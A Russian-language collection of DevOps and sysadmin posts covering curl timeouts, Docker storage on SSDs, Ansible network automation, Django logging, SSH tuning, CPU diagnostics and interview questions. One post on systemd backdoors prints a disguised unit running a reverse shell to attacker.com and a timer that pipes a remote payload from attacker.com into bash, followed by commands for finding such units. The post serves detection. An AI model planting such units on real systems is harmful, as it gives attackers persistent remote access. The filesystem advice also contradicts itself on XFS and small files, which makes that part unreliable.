Скрытые таймауты в curl: почему “повисла” проверка

Иногда вы запускаете curl в CI/CD или на сервере — и он “висит”. Не падает, не отвечает, не завершается. На первый взгляд — загадка. На деле — особенность настроек.

По умолчанию curl не устанавливает жесткий общий таймаут.
Если удалённый сервер принял TCP-соединение, но не отдает тело (например, из-за reverse proxy, фильтра или капчи), curl может зависнуть навсегда.

Проблема особенно опасна в автотестах, healthcheck’ах и системах мониторинга, где поведение curl считается индикатором доступности.

Решения:

1️⃣Использовать --max-time, чтобы ограничить общее время:

curl --max-time 10 https://example.com

2️⃣ Или задать более тонкие параметры:

curl --connect-timeout 5 --speed-time 10 --speed-limit 100

• --connect-timeout — максимум на установку TCP.
• --speed-time и --speed-limit — если скорость ниже лимита, сессия завершается.

Если curl запускается как часть healthcheck в контейнере — лучше всегда задавать явные лимиты.

Особенно на нестабильных сетях, где DNS работает, TCP открывается, но данные идут медленно или не приходят вовсе.

Проблемы с файловыми системами

При использовании SSD для контейнерных решений важно правильно выбрать файловую систему:

• ext4: Подходит для общего использования, но не всегда эффективна при большом числе операций записи, характерных для контейнеров.
• XFS: Хорошо работает с большими файлами, но страдает при работе с мелкими.
• btrfs: Имеет интересные функции, такие как дедупликация и сжатие, но может тормозить при интенсивной записи.

Docker и тома

По умолчанию Docker использует overlay2 для управления слоями контейнеров.

Это может привести к дополнительным нагрузкам на SSD, так как каждый слой добавляется поверх предыдущего, увеличивая количество операций записи. 

Также SSD чувствительны к блокировкам метаданных, что еще больше снижает производительность.

Причины потери производительности
⏺Журналирование: SSD быстрее работают, но если Docker не оптимизирован для этого, это может привести к потере производительности.
⏺Малые файлы: Контейнеры часто работают с малым количеством данных, что вызывает дополнительные нагрузки на файловую систему.

1️⃣Выбор файловой системы: Для SSD рекомендуется использовать XFS или btrfs, которые лучше справляются с мелкими файлами и высокой нагрузкой.
2️⃣Оптимизация Docker: Отключите избыточное журналирование и используйте bind mount для томов.
3️⃣Настройка SSD: Включите TRIM, чтобы SSD правильно освобождал место и поддерживал свою производительность.
4️⃣Использование ZFS: Если производительность критична, ZFS будет более эффективен в контейнерных окружениях.

Как интегрировать и автоматизировать Ansible для настройки сетевых устройств (Cisco, Juniper)

Ansible — это мощный инструмент для автоматизации конфигурации серверов и сетевых устройств. 

В этом посте мы рассмотрим, как использовать Ansible для настройки сетевых устройств, таких как Cisco и Juniper, с примерами реальных сценариев.

1️⃣Установка Ansible и необходимых коллекций

Для начала, нужно установить сам Ansible и необходимые коллекции для работы с сетевыми устройствами.

Установка Ansible:

sudo apt update
sudo apt install ansible

Установка коллекций для Cisco и Juniper:

ansible-galaxy collection install cisco.ios
ansible-galaxy collection install juniper.junos

Эти коллекции содержат модули для управления сетевыми устройствами Cisco IOS и Junos, и их использование существенно облегчает автоматизацию.

2️⃣Пример настройки устройства Cisco с использованием Ansible

Рассмотрим сценарий, в котором необходимо настроить несколько устройств Cisco, используя Ansible.

Инвентарный файл (например, inventory.ini):

[cisco_switches]
192.168.1.10
192.168.1.11

[cisco_switches:vars]
ansible_network_os=cisco.ios.ios
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli
ansible_become=yes
ansible_become_method=enable

Пример playbook для настройки VLAN на Cisco (например, configure_vlans.yml):

- name: Configure VLANs on Cisco Switches
  hosts: cisco_switches
  gather_facts: no
  tasks:
    - name: Create VLAN 10
      cisco.ios.ios_vlan:
        vlan_id: 10
        name: "Sales"
        state: present

    - name: Create VLAN 20
      cisco.ios.ios_vlan:
        vlan_id: 20
        name: "Marketing"
        state: present

    - name: Assign VLAN 10 to interface GigabitEthernet1/0/1
      cisco.ios.ios_interface:
        name: GigabitEthernet1/0/1
        vlan: 10
        state: up

Запуск playbook:

ansible-playbook -i inventory.ini configure_vlans.yml

Этот пример создаст VLAN 10 и 20, а затем назначит VLAN 10 на интерфейс GigabitEthernet1/0/1 на устройствах Cisco.

3️⃣ Пример настройки устройства Juniper с использованием Ansible

Теперь рассмотрим пример настройки устройства Juniper.

Инвентарный файл для Juniper (inventory.ini):

[juniper_routers]
192.168.1.20

[juniper_routers:vars]
ansible_network_os=juniper.junos.junos
ansible_user=admin
ansible_password=your_password
ansible_connection=network_cli

Пример playbook для настройки интерфейса на Juniper (например, configure_juniper_interface.yml):

- name: Configure Interface on Juniper Router
  hosts: juniper_routers
  gather_facts: no
  tasks:
    - name: Configure interface ge-0/0/0
      juniper.junos.junos_interface:
        name: ge-0/0/0
        unit: 0
        family_inet_address: 192.168.2.1/24
        state: present

Запуск playbook:

ansible-playbook -i inventory.ini configure_juniper_interface.yml

Этот playbook настраивает интерфейс ge-0/0/0 с IP-адресом 192.168.2.1/24 на устройстве Juniper.

Backdoor в systemd: нестандартные юниты и что туда могут спрятать

В продакшене всё чаще встречаются случаи, когда вредонос не сидит в /etc/rc.local, crontab или .bashrc, а встраивается прямо в systemd. Причём аккуратно, с видом “службы мониторинга” или “агента безопасности”.

Разбираем, как через systemd можно спрятать обратную оболочку или исполнять вредоносный код по расписанию — и как это обнаружить.

1. Маскировка reverse shell под systemd-сервис

Простой пример unit-файла, запускающего обратную оболочку:

[Unit]
Description=System Health Monitor

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target

Такой юнит можно сохранить в /etc/systemd/system/sys-health.service и активировать через systemctl enable --now sys-health.service. На глаз — просто очередная служба.

2. Распределённый запуск через таймер

Юниты можно запускать не постоянно, а по расписанию, как cron:

# /etc/systemd/system/collect.timer
[Unit]
Description=Collect stats timer

[Timer]
OnBootSec=5min
OnUnitActiveSec=6h
Unit=collect.service

[Install]
WantedBy=timers.target

# /etc/systemd/system/collect.service
[Unit]
Description=Run data collector

[Service]
ExecStart=/usr/bin/curl -s https://attacker.com/payload.sh | bash

Такой таймер будет запускать бекдор раз в 6 часов — и его легко упустить, особенно если не смотрите systemctl list-timers.

3. Примеры более изощрённого поведения

Некоторые вредоносы:
• подсовывают юниты в ~/.config/systemd/user/, чтобы не требовать root-доступа;
• используют бинарники с нейтральными названиями (/usr/local/bin/kworker или /opt/metricsd);
• пишут логи в /dev/null или ExecStartPre=/bin/sleep 60, чтобы избежать подозрений по таймингу.

4. Как искать такие юниты
⏺systemctl list-units --type=service --all — ищем странные описания и пути к исполняемым файлам.
⏺systemctl cat <unit> — посмотреть полный юнит.
⏺find /etc/systemd/ /lib/systemd/ ~/.config/systemd/ -name "*.service" — ручной обход.
⏺Проверка таймеров: systemctl list-timers --all.

💬 Вопрос на собеседовании для DevOps-инженера

Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.

❓Вопрос: Как работает механизм Auto-Scaling в Kubernetes и зачем он нужен?

✅Ответ: Auto-Scaling в Kubernetes автоматически регулирует количество подов или узлов в кластере в зависимости от нагрузки, обеспечивая масштабируемость и эффективное использование ресурсов.

Основные компоненты:

1️⃣Horizontal Pod Autoscaler (HPA): Автоматически изменяет количество реплик подов на основе метрик (например, CPU или памяти).

2️⃣Vertical Pod Autoscaler (VPA): Регулирует ресурсы (CPU, память) для подов на основе их потребностей.

3️⃣Cluster Autoscaler: Автоматически масштабирует количество узлов в кластере в зависимости от потребностей в ресурсах.

Ведение журналов в Django: как отлаживать проект, не лезя в консоль

Единственный совершенный код — это код, который так и не написали. А если вы его всё-таки написали — будьте готовы отлаживать.

Чтобы не разбираться с ошибками “на глаз”, используйте логирование: это ваша чёрная коробка, в которую пишет всё, что происходит в приложении.

Django уже поставляется с поддержкой логирования через стандартный модуль logging, и настроить его можно за 5 минут. Главное — понимать, что и зачем вы пишете в логи.

Что такое логирование в Python?

Это механизм для записи сообщений об ошибках, предупреждениях, событиях и внутренних действиях системы. Он позволяет:
• понимать, что пошло не так и где это произошло;
• воспроизводить баги;
• видеть поведение фоновых задач, сигналов, миграций, API-запросов.

4 ключевых компонента системы логов Django:

1️⃣Logger — точка входа. Вызываете logger.warning("Что-то пошло не так").
2️⃣Handler — указывает, куда писать: в файл, на консоль, в e-mail.
3️⃣Filter — фильтрует сообщения по условиям: уровень, модуль, пользователь.
4️⃣Formatter — форматирует вывод: добавляет timestamp, уровень, текст и т.п.

Пример настройки логов в settings.py:

LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,

    'handlers': {
        'file': {
            'level': 'WARNING',
            'class': 'logging.FileHandler',
            'filename': BASE_DIR / 'warning.log',
        },
    },

    'loggers': {
        '': {
            'handlers': ['file'],
            'level': 'WARNING',
            'propagate': True,
        },
    },
}

Этот код отправляет все WARNING и выше в warning.log.
Хочется видеть критические ошибки на почте? Добавьте AdminEmailHandler.
Хотите писать SQL-запросы в лог? Подключите django.db.backends.

Где это реально помогает:
⏺debug фоновых задач Celery, которые отвалились без трейсбека;
⏺отладка middleware и ранних исключений;
⏺логирование пользовательских действий, если нет Sentry;
⏺поиск редких ошибок в проде, которые не воспроизводятся на локалке.

Релиз OpenSearch 3.0: что нового?

OpenSearch 3.0 — свежий релиз проекта от OpenSearch Software Foundation под крылом Linux Foundation. Это форк Elasticsearch и Kibana, созданный в 2021 году после перехода Elastic на несвободную лицензию.

Проект активно развивают Amazon, SAP, Uber, Canonical и другие, а код распространяется под Apache 2.0.

Что нового в 3.0:
⏺Векторный движок с поддержкой GPU: ускорение поиска и интеграция с LLM (LangChain, OpenAI и др.).
⏺Оптимизация хранения векторов: до 30 раз быстрее холодный старт, меньше места.
⏺Поддержка gRPC: передача данных быстрее и с меньшими накладными расходами.
⏺Подключение потоков: прямой pull из Kafka и Kinesis.
⏺Разделение трафика: чтение и запись теперь можно разнести.
⏺PPL и Calcite: расширенные SQL-возможности.
⏺Автоопределение типов индексов: улучшено логирование.
⏺Lucene 10 и Java 21: новая производительность, модульность, параллелизм, +25–75% в скорости на тестах.

Проект остаётся опенсорсной альтернативой Elasticsearch с фокусом на расширяемость и интеграции с ML/AI.

Пишем журналы в Django.
Часть 2

Вы настроили ведение логов в Django и теперь хотите увидеть, как это работает в действии?

Давайте добавим простую домашнюю страницу и настроим журналирование каждого её посещения.

Когда пользователь заходит на главную, мы выводим «Hello FreeCodeCamp.org Reader :)», а в лог warning.log записываем, что кто-то заходил на страницу и когда именно.

1️⃣Создаём проект и виртуальное окружение

mkdir django-logging-tutorial
cd django-logging-tutorial
python3 -m venv venv
source venv/bin/activate

2️⃣Устанавливаем Django

pip install django

3️⃣Создаём проект и приложение

django-admin startproject django_logging_tutorial .
python manage.py startapp logging_example

4️⃣Добавляем приложение в INSTALLED_APPS

Откройте settings.py и добавьте 'logging_example', в список приложений:

INSTALLED_APPS = [
    ...
    'logging_example',
]

5️⃣Добавляем конфигурацию логирования в settings.py

(Если ещё не добавляли)

LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'handlers': {
        'file': {
            'level': 'WARNING',
            'class': 'logging.FileHandler',
            'filename': 'logs/warning.log',
        },
    },
    'loggers': {
        'django': {
            'handlers': ['file'],
            'level': 'WARNING',
            'propagate': True,
        },
    },
}

Создайте папку logs:

mkdir logs

6️⃣Пишем код логирования

views.py в приложении logging_example:

from django.http import HttpResponse
import datetime
import logging

logger = logging.getLogger(__name__)

def hello_reader(request):
    logger.warning('Homepage was accessed at ' + str(datetime.datetime.now()) + ' hours!')
    return HttpResponse("<h1>Hello FreeCodeCamp.org Reader :)</h1>")

7️⃣Настраиваем маршруты

В urls.py основного проекта:

from django.contrib import admin
from django.urls import path
from logging_example import views

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', views.hello_reader, name="hello_reader")
]

8️⃣Запуск и тестирование

Запустите сервер разработки:

python manage.py runserver

Откройте в браузере https://127.0.0.1:8000/ и несколько раз обновите страницу. Затем проверьте файл logs/warning.log. Там появится что-то вроде:

Homepage was accessed at 2025-05-07 22:38:29.922510 hours!
Homepage was accessed at 2025-05-07 22:48:35.088296 hours!

Пинг без ICMP: как проверить доступность, если всё закрыто

Когда вы работаете с инфраструктурой, где ICMP-запросы блокируются (например, корпоративные фаерволы, жесткие политики безопасности или хостинг-провайдеры), привычный ping перестаёт быть полезным.

Но проверка доступности хоста или сервиса по-прежнему нужна. Что делать?

Альтернативы ICMP-пингу:
1️⃣TCP ping через nmap, nc или telnet — подключаемся к порту:

nc -zv 192.168.0.1 22

или

nmap -p 80 192.168.0.1

2️⃣curl или wget — если работает HTTP(S), можно проверить ответ сервиса:

curl -Is https://example.com | head -n 1

3️⃣hping3 — мощный инструмент для TCP/UDP/ICMP-проверок с возможностью задать порты и заголовки вручную:

hping3 -S -p 80 example.com

4️⃣fping — массовый ping, умеет работать и без ICMP при нужных флагах.
5️⃣PowerShell (для Windows-серверов):

Test-NetConnection -ComputerName example.com -Port 443

💬 Вопрос на собеседовании для сисадмина

Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.

❓Вопрос: Как работает eBPF в Linux и зачем он нужен?

✅Ответ: eBPF (Extended Berkeley Packet Filter) — это механизм в ядре Linux, позволяющий безопасно выполнять код в пространстве ядра без изменения его исходников. Он используется для сетевого мониторинга, безопасности, трассировки и профилирования.

Применение eBPF:
— Сетевой фильтр: ускоряет обработку пакетов, применяется в XDP и Cilium.
— Мониторинг и трассировка: инструменты вроде BCC и bpftrace используют eBPF для анализа работы ядра в реальном времени.
— Безопасность: используется в системе защиты, такой как Falco, для обнаружения аномалий.

Ускоряем SSH: как избавиться от задержки в 3 секунды

Вы заходите на сервер по SSH, и перед тем как появится приглашение ввести пароль — пауза. Иногда целых 2–5 секунд. Почему так?

Виновник — GSSAPIAuthentication.
SSH по умолчанию пытается авторизоваться через Kerberos (GSSAPI), даже если вы им не пользуетесь.

Это особенно заметно, если DNS или обратное имя хоста не настроены идеально. В итоге клиент ждёт ответа, которого не будет.

Как решить:

1️⃣Отключите на клиенте (вашем компьютере):
Откройте или создайте файл ~/.ssh/config и добавьте:

Host *
    GSSAPIAuthentication no

2️⃣Хотите на сервере — можно и так:
Файл /etc/ssh/sshd_config, найдите строку:

GSSAPIAuthentication yes

и замените на:

GSSAPIAuthentication no

После чего:

sudo systemctl restart sshd

💬 Вопрос на собеседовании для DevOps-инженера

Давайте разберем один из частых вопросов, который может быть задан на собеседовании и как на него отвечать.

❓Вопрос: Что такое Podman и в чём его отличие от Docker?

✅Ответ: Podman — это инструмент для управления контейнерами, совместимый с Docker CLI, но не требующий демона (daemonless). Он безопаснее, так как позволяет запускать контейнеры без root-доступа.

Ключевые отличия:
— Без демона: Podman не использует фоновый процесс, каждый контейнер — это обычный процесс в системе.
— Rootless режим: Контейнеры могут запускаться от обычного пользователя.
— Совместимость: Поддерживает Dockerfile и команды docker run, docker build и т.д.

Как быстро найти, кто грузит CPU: команды mpstat и pidstat

1️⃣Посмотреть загрузку всех ядер

mpstat -P ALL 1 5

• -P ALL — все ядра
• 1 5 — обновлять каждые 1 секунду, всего 5 раз

Что смотрим?
%usr — % загрузка CPU пользовательскими процессами
%sys — % загрузка системными процессами (ядро)
%idle — % простоя (чем больше, тем лучше!)

Если %idle близок к 0 — CPU сильно загружен.

2️⃣ Найти самые «жирные» процессы по CPU

pidstat 1 5

Вывод покажет процессы и их %CPU каждую секунду.

3️⃣Быстрая сортировка процессов по загрузке CPU

ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head -10

Показывает 10 самых «тяжелых» по CPU процессов.

4️⃣Если нужно — снизить приоритет процесса

renice +10 <PID>

Чем выше число, тем ниже приоритет.

И мониторинг в реальном времени

top -o %CPU

top отсортирует процессы по CPU. Чтобы выйти — нажмите q.